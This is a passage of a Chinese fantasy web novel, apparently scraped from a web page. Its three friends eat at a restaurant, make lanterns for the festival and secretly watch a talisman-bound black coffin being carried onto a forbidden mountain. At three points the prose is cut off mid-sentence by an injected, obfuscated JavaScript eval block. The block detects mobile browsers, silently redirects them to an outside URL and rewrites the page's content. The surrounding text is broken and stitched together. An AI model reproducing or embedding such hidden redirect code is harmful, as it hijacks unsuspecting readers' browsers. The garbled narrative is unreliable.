携阳楼菜价虚高,胜在菜品齐全,江南各地名菜应有尽有,都是掌柜从当地请来的大厨或寻访到的菜谱,绝对保证正宗。 金齑鲈鱼脍、扁尖鸭臛、响油鳝糊、清汤越鸡、蟹粉狮子头……另有紫府琼浆、瑶池玉液。 酒浸琥珀杯,茶熏琉璃盏。 这一桌玉盘珍馐,任谁来了也做不到“停杯投箸”。 吃饱喝足打道回府,已是夕霞散尽,夜幕四垂。 白栩酒量差,几杯烈酒入喉,心肝脾肺一并烧了起来,肚子被辣的难受,还有些痉挛,一路上哎哎呦呦叫苦不迭。 段尚清关切之余又忍俊不禁,看白栩难受成这样,不知道的还以为他豪饮了千杯烈酒,实际他全看在眼里,这家伙只喝了几小盅,茶水倒是喝了不少。 “想吐么?”段尚清弯腰搀扶。 白栩苦着脸摇头,抱着肚子蹲在地上,疼得直不起身。 离白府还有些路程,段尚清在白栩身前蹲下,“我背你。” 白栩蔫嗒嗒地抬起手,段尚清牵过他的胳膊绕在自己脖颈处,双臂下捞他的膝弯,确认他抱牢了才用力起身。 白栩只觉身子蓦地腾空,整个人便贴在了段尚清的脊背。 习武之人身板结实,火气也旺,白栩枕着段尚清的肩窝,就着他暖烘烘的体温,昏昏欲睡。 回了白府,段尚清将人放到廊内的长椅上,掰直他的背,将手按在胃上施了些力气按揉。 上腹的疼痛缓解了许多,白栩的脸上回了些血色,身上痛得没劲儿,干脆一歪脑袋,靠在段尚清肩上,困得昏沉还不忘道谢:“多谢段兄。” “怎么痛成这样?” 白栩眯着眼睛笑了起来,“我馋酒,但酒量不好,尤其是烈酒,一下肚就烧得痛。”他动了动身子,换了个更舒服的姿势,没骨头似的,就差把段尚清当枕头磋磨了。 “其实我今天也是第一回去携阳楼吃饭,不知道那里的酒这么烈,第一杯下肚的时候就难受了,没好意思让你们看出来。” 白栩嘟嘟囔囔地坦白,声音越说越低。 段尚清侧头看他,对上了一双浸润了酒气与月光的桃花眸。 他望了片刻,移开视线,看悬在天上的月,眉眼间染上几分笑意。 “记住了。” “嗯?” “记住你不能喝烈酒了。”他眉眼间的笑意落到了唇畔上。 仲春夜里的风还带着些冷意,卷过柳梢冲进长廊,直往人领口里灌。 姚靖冻得一哆嗦,门牙颤了几颤,耐不住地催促:“阿栩哥,夜里太冷了,我们先送你回房吧。” “好。”白栩抬起眼皮,慢吞吞直起身子,很自然地张开双臂,等着人来搀扶,“走吧。” 段尚清和姚靖对视一眼,无奈失笑,一人架起一只胳膊,把白栩送回了房。 竹涛轻吟,月光漫漫。 次日一大早,白栩眼皮还没掀开,各家的请帖先敲开了他的门。 白栩懒得睁开眼,叫福生念给他听,迷迷糊糊地听了个大概,说是今日花灯节,春江楼大办“花月集”,文人才子齐聚一堂,邀他去一同去品酒赏花。 所谓“花月集”,名字正经,实则是若寒城的才子们为自己聚众饮酒自赋的雅称,每每吟诗作对、把酒言欢时,身侧总伴着花容月貌的美人作陪,既风雅又风月,故称“花月集”。 白栩皱起眉头,心里犯了愁。 往年闲来无事,他都会应邀前去,可今年不同,段家兄弟来了白府,自己总不能抛下他们独自去享乐,带着他俩去又不是那么一回事。 姚靖还小,去不得,段尚清就更不用说了,他那超然于世的清冷气质,到时候跟尊佛似的立在那儿,怎么看怎么格格不入。 想了想,叫福生跑腿去回个帖,告诉那些老朋友今年不去了。 不去花月集,能带段家师兄弟做什么呢? 白栩想了会儿,笑眯眯地坐起身。 “带他俩做花灯去。” 他朗声把走出门老远的小厮又唤了回来,“福生,回来了再去给我劈几根竹子,粗一些的,摆到我院前来。” “是。” 以往花灯节,白府总有两件大事要办,一是做花灯,二是吃芙蓉饺。 做花灯不用多提,编好竹架,糊上灯纸,点根蜡烛,做一条竹龙灯摆在前院,做几只荷花灯留到晚上去河里放。 吃芙蓉饺,才是花灯节最勾人心魂之事。 所谓芙蓉饺,是一种形似莲花,晶莹润白的饺子。 做法也简单,薯粉和水,擀成面皮,剁鲜虾为馅,加以佐料,包成饺子后在蒸笼内垫上干荷花叶,出锅时一掀蒸笼,先闻荷香扑鼻,再看饺子晶莹剔透,热气腾腾有如出水芙蓉,一咬下去,滋滋冒出浓郁的馅汁,鲜香软滑,口齿余香,令人回味不已。 不消几个时辰,福生已将竹子摆在白栩院前,还悉心地把竹子劈成细长段,磨去截面上细小的竹刺,以免白栩编竹架的时候将手弄伤。 福生的周到令白栩满意,取出一枚银块作为赏钱,安排了最后一件差事——把段家兄弟叫到他院里来。 “阿栩哥,你弄这些竹子做什么?”姚靖拎起一根竹条,拍在手心啪啪作响。 白栩正蹲在地上整理竹条和编绳,“今天是花灯节,家家户户要做花灯、拜河神,白府每年都在府门前摆一条竹龙灯,本来是找木匠来做,不过今年你们来了,我们一起做。” 竹龙灯最关键在于编好龙骨架,白栩看着木匠做了十来年,已然胸有成竹,先示范一遍,很快就做成了一根龙骨。 编竹龙灯既需耐心又需技巧,龙头要昂然朝天,龙身要盘旋直上,龙尾要筋骨舒展,需要弯折的地方,先用火烤定型,而后再编于其内。 三人埋头编到晌午,直到芙蓉饺的香味袅袅飘来,才将他们与竹龙骨架融为一体的魂儿给牵回来。 姚靖一吸鼻子,惹得肚子咕咕直叫,“好香啊,做什么好吃的了?” “是芙蓉饺。”白栩拍拍衣摆站起身,笑意盈盈地朝着两人招手,“走,尝尝去,这可是比携阳楼的珍馐还让人魂牵梦绕的鲜美。” 三人来到膳桌前,一盘盘润白晶亮的芙蓉饺已然摆好,正齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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街道上,一条长龙呼啸而过,由数十人托举着的硕大龙灯,打着旋向前奔进,烛火通明,亮若白昼。 龙身周边盘旋着展翅的仙鹤,翱翔九天,不染纤尘,龙尾处跟随着只只锦鲤,红头金鳞,摆尾游曳,仿若潜行于无形的碧波之中,栩栩如生。 姚靖看花了眼,东奔西跑,没走出多远,怀里已经抱满了吃食与各类玩意。 段尚清捧着花灯,环望着四周热闹的景象,默默地跟在白栩身后。 广陵的花灯节并不比若寒城的冷寂,只是每每街上人声鼎沸之时,他总是独自待在段府,或修习剑法,或静读圣贤,守着床帏桌椅,炉火茶烟,隔绝凡尘,修道于心。 像今日这般从从容容地走街窜巷,还是头一遭。 白栩一路上介绍个没完,好像若寒城里没有他不知道的事,段尚清安静地听着,偶尔附和两句。 三人一路游逛,最后来到罗淮河边放花灯。 被段尚清捧了一路的花灯终于派上用场,白栩分发下去,每人一只荷花灯,一只红蜡烛,一张愿签纸。 河边卖灯的小摊上供应笔墨,白栩借来一只,正思索着写什么,不知从哪儿伸出一只手,将他的花灯夺了去,紧接着,熟悉的声音从身后传来。 “锦爻,这就是你的不对了,你家福生和我说你今日有要事要做,不能赴宴,我以为你爹给你安排了什么不得了的差事,没想到你竟在河边学人家女子放花灯,不来陪我们赏花饮酒、吟诗作乐,真是伤了我等的心,你说,得罚你几杯酒才好?” 白栩回头看去,原本应在花月集里和美人儿逗乐的公子哥儿们,这会儿竟移步到了他身后。 白栩一个头两个大,属实没想到这群家伙这般难缠。 他叹了口气,人都上门来请了,再不去,便是驳了面子,只好把自己的花灯递给段尚清,嘱咐道:“我晚些回来,你们放完灯,就先回府吧。” 姚靖虎头虎脑地凑上前来,以为有什么热闹,嘴里的蜜饯还没嚼完就要张口说话,被段尚清挡在了身后。 段尚清看看拦在岸边的人,又看向白栩,“你去做什么?” “去……”白栩有些难为情,“去喝酒。” 等在一旁的公子们互相对了眼,派出一位面善的前来问询:“这二位是?” “我的朋友。”白栩不着痕迹地拦在段尚清身前。 “既是锦爻的朋友,那也是我的朋友,不若随我等去春江楼小聚?” 段尚清蹙起眉头,还未想出该如何应对,白栩先一步揽过那人的脖子,把人群往街上请:“走吧走吧,我陪你们去。” “好,好,就等你了。” 白栩被一帮人簇拥着走了,段尚清望着白栩的背影,又看了眼身旁只顾着吃没反应过来的姚靖,沉默了许久,低头在愿签纸上写下一行字,点燃红烛,将花灯缓缓推进冷夜的河水中。 5. 夜闯禁山 白栩并不厌恶花月集,也谈不上多喜欢。 他们这些“文人墨客”聚一堂,只会品茶品酒品美人,绞尽脑汁押两句酸溜溜的词,再就是高谈阔论一番家国政事,说些半真半假的见闻,好显得自己颇有先天下之忧而忧的君子之风,实则说过就忘,没有人放在心上。 这堆人里有个外号叫“马学究”的,最能打听事儿,今日正巧坐在白栩身边。 此人和他一样,只喜风雅不谈风月,在别人喝酒作乐逗美人的时候,这位仁兄就趴在白栩耳边给他讲了不少真假参半的传言。 “锦爻兄,你可听闻玉州闹了旱灾?从去年三月开始旱,百姓天天给龙王庙烧香,求了一年多,到现在愣是一滴雨没下,依旧是赤地千里。” 白栩送酒到嘴边的手一顿,眉头微皱,“官府有开仓放粮么?难民如何安顿?” “这我就不知道了。”马学究向来不关心朝政,更好神鬼怪论,“不过我听说官府找了个老道士来作法,你猜那道士说什么?” “什么?” “闹旱魃了!”马学究的眼睛瞪大了一圈,好像亲眼见着了似的,“你说这事稀奇不稀奇?” 白栩推开旁人递来的酒杯,给自己斟了杯热茶,将信将疑道:“江湖老道之言,未必可信。” 马学究似是认定了此事千真万确,事不关己而多管闲事地下了定论:“准是!” 白栩不想争辩,敷衍地点点头,好糊弄这头犟牛。 他的冷淡却叫马学究来了劲儿,他不甘心地一努鼻子,更凑近前来讲授学问:“还有一事你肯定不知,先前我和渡口的脚夫们闲谈,他们告诉我,近来定山江上时常停靠一些来路不明的船,那些船周身漆黑,挂着红帆,应当是某个玄门大族,可谁也认不出是何方神圣,而且,那么大个船,每次只下来三四个人,全都乔装打扮看不出身份,进了若寒城便无影无踪,不知干嘛去了。” 马学究说得神秘兮兮,好像有妖人要在若寒城作乱,天要塌下来。 白栩自然也没把这杞人忧天般的学问听进耳去。 江州毕竟是玄门聚集之地,往来者不乏有行踪神秘之人,多少年了都是这样,不算什么大事。倒是马学究此人听风就是雨,总把事情往坏处想,把小事往大了说,叫人不由厌烦。 白栩不再理他。 马学究没劲儿地哼了一声,呷了口酒,自个儿嘟囔着,又下了一句定论:“有人说,看到那大船上都是棺材,要我说,准有事发生。” 周围的哄笑声越来越大,白栩没了待下去的兴致,饮尽了茶,辞别众人离去。 出了春江楼,一阵夜风打在身上,微凉,带着点烟火味与脂粉香。 他深吸一口气,朝罗淮河走去。 师兄弟俩还在河边看花灯,姚靖手里的花灯还没放进去,提着毛笔冥思苦想,不知该在愿签纸上写什么。 段尚清站在河畔,微低着头,清清冷冷的身影似与微寒的河水融为一体。 白栩想招呼段尚清,又怕自己一身脂粉香,染了他的神仙气,脚步顿了顿,掉头上了桥。 桥上的风不大,舒舒缓缓的,很是宜人。 站着吹了一会儿,等自己身上的香气散了散,才下了桥,回了河畔。 刚站定,段尚清就把白栩没来得及放的花灯递了过来,花芯的红烛已然立好,空白的愿签纸用蜡油沾在了花瓣上,一只墨水未干的毛笔横在叶瓣间。 “方才为何一直在桥上?” 没想到他眼这么尖,白栩有些难为情道:“怕你不喜欢脂粉味,特意散干净了才回来。” 段尚清凝视他片刻,忽地俯身在他的领口处嗅了嗅,而后一言不发地回过身。 白栩的心随之乱了一瞬,恍惚半晌回过神来,心想他大抵是为了检查自己身上是否还残留着红尘香罢。 花灯带着摇曳的烛火荡漾在罗淮河幽深的河面上,伴着嫩白的桃花瓣渐行渐远。 街上已不像刚才那般热闹了,唱戏的下了台,摆摊的收了车,地上零星散着几簇不灭的火苗,白烟与雾缓慢地从山脚笼罩过来。 夜风已有些凉,三人打道回府。 竹龙灯已立在府门前,只是蜡烛将要燃尽,已不怎么亮。 福生提着灯笼候在门前,见他们来了,忙送来挡风的外衫。 “爹娘睡了么?”白栩问他。 “老爷和夫人出门了,还没回来。” “还没回来?他们去哪儿了?” 福生抬手指向府后的桃花林,“说是去山里看看。” 白栩顺着他指的方向看过去,视线越过沐浴在月光下的桃林,一直眺望到了远处黑不透光的绛鹊山,他心里隐隐有些不安,每每爹娘进山,他都有这种感觉。 “他们怎么去那儿?发生什么事了?” 福生摇摇头,“老爷说是例常巡山,交代我在门前等着公子们回来。” 白栩一听就知道他爹在扯谎,白家守了十几年的山,从来没有花灯节去巡山的先例。 不安越发强烈,他回头看向段尚清,期望他为自己出个主意,可转念想到他初来乍到,对一切还一无所知,又如何能理解自己此时的焦虑? 以往爹娘只在每月月初、月中和月末三日巡山,经年如此,从未变更,今日忽然变卦,白栩很难不多想。 他想进山去寻,又怕贸然闯入会捅出篓子,一时间拿不定注意,愣在原地不知所措。 福生还在殷切地请白栩进府,白栩却一步也不想动。 段尚清拍拍他的肩,附在他耳边轻声道:“我们先进府,若他们子时还未回来,我陪你进山去找。” 白栩回望进他温和而坚定的眸子,稍宽了心。 回了房,不管站着还是坐着都不安稳,心里好像长了草,疯长的根须正撩乱着每一根神经,此时说什么做什么都没用,只能焦急地等着打更人的梆锣声,向他宣告子时已到。 “叩叩叩”,门响了三声。 白栩以为是福生来报,吩咐他直接进来,门打开,来人却是段尚清。 白栩一见他,好像找到了主心骨,心里的慌乱顿时消去不少,“有消息了?” “伯伯、伯母好像回来了,要去接他们么?” 白栩一个激灵从床上跳起来,急跑到门口探头向外看。 他本以为能听见下人前后侍候的脚步声和爹娘压低嗓子的谈话声,以为能看见明亮的烛灯照亮整个庭院,可四周静悄悄的,风吹柳梢带来的“沙沙”声是唯一的响动,正院依旧昏暗,只有摇曳的庭燎还闪烁着微薄的光影。 “他们真回来了么?怎么一点声音也没有?”白栩的心又悬了起来。 “在那。” 段尚清伸手指向西边的远山,“他们没回府,我看那里有光,应该是他们。 远山连绵起伏,暗林中,几簇极其微弱的火光正缓慢的向东游荡,光亮极暗,似乎有意藏匿。 这火光共有两簇,一前一后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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稍放下心,见段尚清还在灌丛里掏东西,不禁好奇起来,“你找什么呢?” 回应他的是一根被扯出丛的断枝。 枝条已经腐朽,大约有两臂粗,段尚清把他拖出来挪到两人屁股下面,“坐吧。” 白栩差点笑出声,“弄了半天你在找这个,直接坐地上呗。” 段尚清扫开地上的枯叶,露出下面的湿泥,表示自己不愿意坐一身脏回家。 那日在桃林除妖,裹了一身污泥的黏重感尚记忆犹新。 白栩微牵起唇角,挪了两步和他一并坐在断枝上。 双腿得到了解放,麻劲儿一下子涌上来,针扎似的又疼又痒,白栩刚想捶腿放松,就听段尚清低声道:“有人来了。” 悠悠的火光从无边的黑暗中露了头,一阵极其细微的脚步声由远及近。 白栩不敢抬头张望,身子蜷缩着,努力从灌木的枝杈中看清来人。 山路被火把照亮,长靴碾过碎石的“咔哒”声由远及近。 一行三人,一人举着火把在前引路,手里拎着个铜铃,却只摇不响,后面两人抬着个黑色重物慢慢跟上。 白栩听到一阵沉闷的吱呀声从头顶浮过,他翻动眼珠朝上瞧去—— 一口缠满红绳、贴满符咒的棺材,正被抬着往山里送去。 6. 黑棺疑云 白栩大气不敢出,生怕惊扰他们,直到抬棺人走远,才敢喘上一口气,动动僵掉的胳膊腿,蹒跚地站起身。 路尽头,浓郁的黑淹没了微弱的火光,四周寂静无声。 冷月正值当空,锋利的寒光如一柄白刃劈开密林,几近参天的古树簇拥在一起,硕大的树冠融成一片,像悬在天上的沼泽。 死气沉沉的山林里,偶尔传出一两声裂帛似的凄啼,不添生气,反增鬼气。 方才那口棺材的诡异模样深深地印刻在了白栩心里——棺身结实地捆着朱砂制成的红绳,棺板上贴满了画着镇邪纹路的黄符,本是口黑棺,却在银月的照拂下,隐隐透出幽深的青光。 单看这架势,就知道棺材里的凶物绝非寻常。 白栩的心怦怦直跳,一种难以言喻的不祥之感在心头陡然涌起,让他不寒而栗。 “我们要跟上去么?”白栩问道。 段尚清摇头,“不要打草惊蛇,先回去禀告。” 两人便悄然起身,抄另一条近道跑回了府。 进了门,正堂依旧静悄悄的,西院已笼罩在夜色里,一派祥和,住在后院的仆从们还在忙活,只有东院点起了烛灯。 是爹娘回来了。 白栩忙拉着段尚清去汇报今夜见闻。 从正院去东院,先要经过东面石墙上开凿出来的雕花月洞门,再穿过一条竹柳荫蔽的青石板小道,走下莲池上架着的竹拱桥,才能见着白家长老的卧房。 白栩带着段尚清来到爹娘门前,先作势敲两下,而后不等屋内人做出反应,毫不客气地推门而进,嚷道:“爹,娘,有大事禀告。” 白道陵和莫兰萱正对坐在竹桌前谈话,见他们进来,蓦地止住话头,“什么事?” “我们……”段尚清刚要开口,白栩先一步捂住了他的嘴,而后拿出十二分的威势先发制人:“你们今晚为什么进山?” 白道陵料到白栩会有此一问,早就编排好了托词,脱口而出道:“怕有人趁乱闹事,和你娘在山里转了转。” 若是平时,白栩也就信了,尽管心里存疑,到底不会追问,这回则不然,他有了追问下去的筹码,不会轻易放过他爹,于是再次咄咄发问:“以往你们从来不在花灯节巡山,今晚到底发生什么了?” “以往是我和你娘不去,叫你师兄们去,每年的花灯节都要巡山,你不知道而已。今年的花灯节格外热闹,我不忍看他们放着好好的节不过,而去守着绛鹊山,便和你娘商量,和她亲自去巡一圈。” 白道陵答得泰然自若、理所当然,他这套把假话说成真话,假戏演成真戏的功夫,连戏台子老班主来了都得叹声自愧不如。 白栩哪里会被他爹的计俩给唬住,他一个字也不信,心想你白老爷子要是真于心不忍,早几年就把这差事揽自己身上了,何必等到今年? 看来顺着问是问不出什么结果了,白栩一转话锋,单刀直入地问:“你们进山看到什么了?” “能看到什么?又黑又阴森的林子……”白道陵还想接着忽悠,莫兰萱止住了他的话,她看向白栩,面沉如水,冷声问道:“你进山了?” 短短几个字,把白栩乘胜追击的势头压下去一半,他喉头一哽,在娘面前,他有理也成了没理,嚣张的气焰被扑了个灭,讪讪答道:“是……” “为什么进山?” “我……”白栩一瞬想了许多辩白之词,他想说自己是因为担心他们的安危才进山的,可自己一介草包,何须担心一身武功的娘? 若说是看见山上有火光才追过去的,又会显得自己草木皆兵,自作主张,何况爹娘三令五申禁止他靠近绛鹊山。 怎么说也不对,白栩急出了汗,支支吾吾的“我”不出来一句整话。 “白长老,莫夫人。” 身后的段尚清替他解了围,他上前一步,拱手道:“白公子并非有意进山,是尚清看见有人自西面山腰私闯绛鹊山,请白公子带路前去查看,尚清以为担任守山之责,需得尽心尽力,片刻不怠,自作主张带上了白公子,委实欠妥,还请二老莫怪。” 莫兰萱神色稍缓,声音也柔了下来,“你们追上那火光了?” “是,我们看见三个人,一人为首点灯,两人前后抬棺。” 白栩连忙补充,“那棺材模样可吓人,用红绳绑着,贴满了黄符。” 莫兰萱刚缓和的神色又紧张了起来,她看向白道陵,虽一言未发,面上却露出凝重之色。 白道陵附上她的手,宽慰地轻拍几下,又问白栩:“那三人朝哪儿走了?” “过了‘玄黄阵’”,朝东走了。” 白道陵回头和莫兰萱相视一眼,白栩知道他们已在无声中做了什么决定,娘一个眼神,爹就开始赶人。 “好了,不是什么大事,估计是有人家去世了,没钱出殡,趁夜把棺材埋山上去,大过节的,不想这些晦气事,时候也不早了,你们早些休息,快回去吧。”白道陵客客气气地下了逐客令,就差起身把人往外撵了。 “等等!” 白栩什么都没问到,心有不甘,长臂一伸把段尚清拉到自己身前,据理力争道:“就算不告诉我,也得告诉他吧!段公子身负守山之责,绛鹊山里任何的风吹草动,他理应知晓。” 白栩说得在理,白道陵拗不过,回头看了眼莫兰萱的脸色,见她面无愠色,才放心大胆道:“你们先回去睡觉,要真有事,明日再与你们讲。” “说准了?”白栩将信将疑。 “准了!”白道陵一把掐住白栩的脸蛋,“你爹的话还不信?小滑头。” 白栩嘿嘿笑着,任人揉捏,甚至蹲下来方便他爹左右开弓,两边的脸颊被掐出红印也不在乎,谄笑道:“那我和段兄明日午膳后来找您啊?” 白道陵无奈,这小子方才口口声声说应让段尚清知晓今夜之事,话赶话的倒把自己也偷偷算了进来,这么个人精,也就他娘能制服。 白道陵顺了他的意,“行,你们两个,都来。” 白栩得逞一笑,对爹娘道了声安,同段尚清回了西院。 躺在床上,白栩横竖睡不着觉,子时一过,困意好像自行遁去,翻来覆去合不上眼,脑子里全是那口黑棺。 他想起马学究那套危言耸听的言论,虽说传闻真假参半,毕竟不是空穴来风,就如定山江上那些来路不明的黑船,据说里面都是棺材…… 在亲眼见到有人夜闯绛鹊山之前,他从来不会把这些事与江州的安危联系在一处,马学究那时一口一个“准要有事发生”,白栩当初还嗤之以鼻,如今却听进心去,他隐隐预感,今夜抬棺一事的背后,隐藏着更大的阴谋,或许和那些船脱不了干系。 月渐西沉,东方渐白。 熬了半宿正迷迷糊糊睡着的白栩被院内的响动吵醒,坐起身,脑袋沉得像装满了石头,扯着他的脖子把人往下拽,他以头抢床,弓着腰埋着脑袋睡觉,又是一阵天旋地转。 忽地,一阵沁人的茶香飘至鼻尖,赶走了赖着的睡意。 他掀开被子,走出门,见段尚清背对着自己站在凉亭中,一手负剑,一手持扇扇着炉火,泥炉上立着个茶壶,壶中茶水沸腾,飘出袅袅清香。 福生端来洗漱的清水,白栩洗了把脸,头发随意一拢,套了件长衫朝段尚清走去。 “段兄,在煮茶?” 段尚清收剑入鞘,见他一副没睡醒的模样,先倒出一杯热茶递给他,“是我练剑吵醒了你?” 白栩摆摆手,喝了口茶,“无妨,醒了正好。” “看你面色欠佳,昨夜没睡好?” “嗯。”白栩叹了口气,疲惫地揉揉眉心,“胡思乱想了一宿,心神不宁,睡不踏实。” “在想那口棺材?”段尚清抱剑靠在亭柱上看着他,剑鞘上的纹路在清晨的朝阳中闪烁着凌然寒光,剑柄上挂着的太极流苏穗被晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365460|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风吹动,露出一颗莹润光泽的玉髓。 白栩点头,烦躁地揉乱了头发,“爹越瞒着我,我越想知道究竟发生了什么,白家守了绛鹊山足足十五年,可我对这山的了解还没有江湖上的传言来的多,每次我问起绛鹊山里究竟有什么,爹总是半蒙半骗地讲故事糊弄我,他和娘都不许我进山,山里出了情况也不和我讲,我知道他们是为了我好,可我总不能一辈子被蒙在鼓里。” 愤懑与惆怅在白栩的胸腔横冲直撞,他觉得爹娘的庇护如一张密不透风的网,将他包裹在真相之外。 郁闷叫他喘不过气来,四面透风的凉亭化成了逼仄的牢房,他急于吐出心中的邪气,探出身子望向长天。 天上浮动着薄云,轻纱似的遮不住太阳的光,阳光射入云层里,东一块西一块的给天上点缀了一些锦霞。 白栩正出神,忽地被一声巨响唤回了神智,姚靖顶着一脑袋鸡窝从屋里走出来,一着凉风,立马放炮似的咳嗽起来。 方才那声响,是他大力推开屋门弄出来的,白栩真的担心那两扇单薄的门板禁不住他日日施威,手下败将般地从门框里剥落下来。 “他的出场,一向这般威风么?” 段尚清无奈,“在段府从未有过。” 白栩忍俊不禁,向来听闻广陵段氏家教森严,段尚清就是个活范本,像姚靖这种天性活泼的小孩,在段府待这么多年,憋也得憋坏,此番来了白府没了管束,立即本性毕露。 姚靖打着哈气向两人走来,撑着朦胧的睡眼含糊地打了两声招呼,先迫切地给干冒烟的嗓子灌下几杯热茶,而后捂着肚子仰天长叹:“好饿!福生——” 这几天总是福生来招呼他们吃饭,姚靖只要一饿就喊福生,要么问他何时开饭,要么向他要点糕点蜜饯填填肚子。 那肚子里像有乾坤洞,怎么填也填不满。 也许是他的声音过于哀怨悠长,福生真就应着他的喊声来了西院,叫他们去吃饭。 白道陵和莫兰萱没来用膳,白栩问下人,这才知道他们今早天蒙蒙亮时才回府,嘱咐下人午膳时再唤他们。 他昨夜就料到爹娘会再次进山巡查,不想竟从子时寻到天明。 不知找到抬棺人没有,还有那口神秘的黑棺,里面究竟是什么东西…… 一切原委只有等到午膳后才能知晓。 在期待中等待是一件无比煎熬的事,白栩已经数不清自己绕着花坛踱了几圈步,算不得去后厨询问了几遍何时用午膳,实在等得心焦,又跑去东院瞧了好几遍,爹娘的屋里一直没有声响,来往打扫庭院的仆人们全都放轻脚步不敢打扰,白栩只好绕着爹娘屋前的假山和莲池来回走,好消磨时间。 他心里想着事,没注意步子的力道,鞋底敲在青板石路面上,“啪嗒啪嗒”响成一串,仆从们吓得一个劲儿地比划,示意白栩不要发出声音,白栩视而不见,兀自绕圈。 好在福生赶过来,好说歹说地把他劝回了西院,苦口婆心地叫他安心等着,毕竟老爷和夫人还需睡个好觉。 与白栩的焦躁截然不同,段尚清正安稳地坐在窗边,手捧圣贤书,轻声诵读,不时抬头看一眼在院子里度日如年的白栩,默默算着他短短一上午叹了几口气。 姚靖坐在段尚清身旁,手里同样捧着本书,他眼睛半眯着,嘴里含着块青梅果干,书上的字于他来说就是一道道催眠符,他不住地磕着头,拇指大的樱桃几次含不住差点掉在地上,都被他眼疾手快地接住再次送进嘴里。 两个多时辰终于熬尽,白栩如愿地等到了爹娘,膳桌上,他不盯吃食盯老爹,那望眼欲穿、如饥似渴的眼神叫白道陵无可奈何。 “吃饭。”白道陵终于出了声,“吃完饭来东院。” 囫囵着填饱肚子,白栩、段尚清和姚靖三人跟着白道陵去了东院假山旁的凉亭,姚靖并不知道昨夜白栩和段尚清经历了何事,不过在接下来的谈话中,他已完全知晓。 7. 临安谣言 昨夜戌时,封山阵传来异动,有人趁花灯节万人空巷之际,私闯绛鹊山。 白道陵和莫兰萱立刻追上山,于密林里寻到了数支送葬队伍,本想近前察看,谁料一阵莫名的火光后,只余满地残灰。 “怎么回事?遁地了?”白栩不解。 “是纸人,一连十几队,人和棺材都是纸糊的,追上去就自燃成灰,一丝煞气的痕迹都没留下,无法查到施咒者的行踪。不过这纸人邪术并非来自江州本土,略一打听就能知其来源,我已传信给你姐姐去调查,不久便能知道究竟是何方不速之客来若寒城搞鬼了。” 白道陵交代完,见白栩眉头皱得能夹死蚊子,抬手给了他一脑瓜崩,“你小子真是走运,我和你娘找了一夜都是假人假棺材,你一上山就碰到真东西了。” 这哪叫走运啊,倒血霉还差不多,要不是段尚清帮他隐匿气息,恐怕在山上就被人给灭口了。 白道陵搓着胳膊上起的鸡皮疙瘩,把从马学究那里听来的二手情报如实相告:“爹,听说定山江上来了很多不明身份的黑船,会不会和这件事有关?” 白道陵不置可否,只道:“晚些我和你娘去探探虚实,你不必太忧心,和小段他们先回去吧。” 白栩还想再追问,爹已经摆出一副拒不受理的架势,只得作罢,三人一道回了西院。 凉亭里,石桌上煮好的茶已然凉透。 白栩颓然地坐在一旁,揣着满腹心事空发愁,姚靖见白栩心情不好,也跟着丧着个脸。 也就段尚清还算沉得住气,他看着眼前垂头丧气的两颗黑脑袋,一手一个呼噜呼噜毛。 他重新点燃炉火,从陶罐里舀出一勺甘草片加进茶水里,煮了壶温热的甜茶。 “思虑太重会伤身,喝杯热茶。”他倒了一杯递给白栩。 午后灿烂的骄阳炙烤着大地,也落在了白栩身上。 到处都暖烘烘的,透露着初夏来临的预兆,手中的热茶滚烫,白栩不觉得暖,只觉得指尖冰凉,脊背发冷。 他们就一直这样缄默地坐到了天黑,其间福生来催了好几次去吃饭,白栩没胃口,一直没搭理,姚靖正是要吃饱饭的年纪,实在饿得熬不住,败下阵来,跟着福生去了膳堂。 段尚清也跟着去了,但很快便折返回来,手里还端了一碗粥。 他把粥递到白栩眼前,白栩转过脑袋不想吃,他就抓着白栩的手硬塞给他。 “段兄……”白栩为难地看着他,“我真没心思吃。” “莫夫人让我端过来的。”段尚清一句话堵住了所有的借口。 白栩只好接过,仰头把粥喝完。 夜已经深了,淅淅沥沥地下起了小雨。 乌云把月光遮住,雨水把庭燎淋灭,西院陷进了一片昏暗之中。 四周静寂无声,偶有锐利的鸟鸣划破长空,只一声便消失匿迹。 石板路上,由暮春的最后一场雨积蓄而成的小水洼里,倒映着柳条的翠影。 “雨越下越大了,回去吧。” 肩膀被人轻轻拍了拍,白栩如梦初醒,因陷入沉思而空洞的眼睛重新汇聚成神,他扭头看向段尚清,段尚清也低头看着他,一双澄澈的眼眸注视着自己,白栩在他的眼睛里,看到了愁容满面的自己点了点头。 回了屋,酝酿不出一丝困意,恐怕今夜依旧难眠。 白栩索性弃了卧榻,坐在窗边的竹椅上,拄着脑袋盯着窗外的雨发呆。 一只寒鸦自柳梢飞掠而过,遁入夜色,白栩的目光追随着它,忽地屋门被敲响。 打开门,段尚清站在外边,将一捆线香递给了他。 “这是什么?”白栩低头闻闻,一股柔和的草药味沁满鼻腔。 “安神香,从广陵带来的。你一有心事就少眠不寐,长此以往有损心智,此香可静心安神,记得在安寝前点上一根。” 段尚清说完便离开了,似乎没想听白栩道谢。 白栩低头看着手里的香,眉头一松,终于拨云见日地露出一抹笑意来。 反正有爹娘和段兄在,不会有事的。 他点上一根,这香味和段尚清身上的味道一模一样。 白栩安心上榻,不消多时便陷入梦乡。 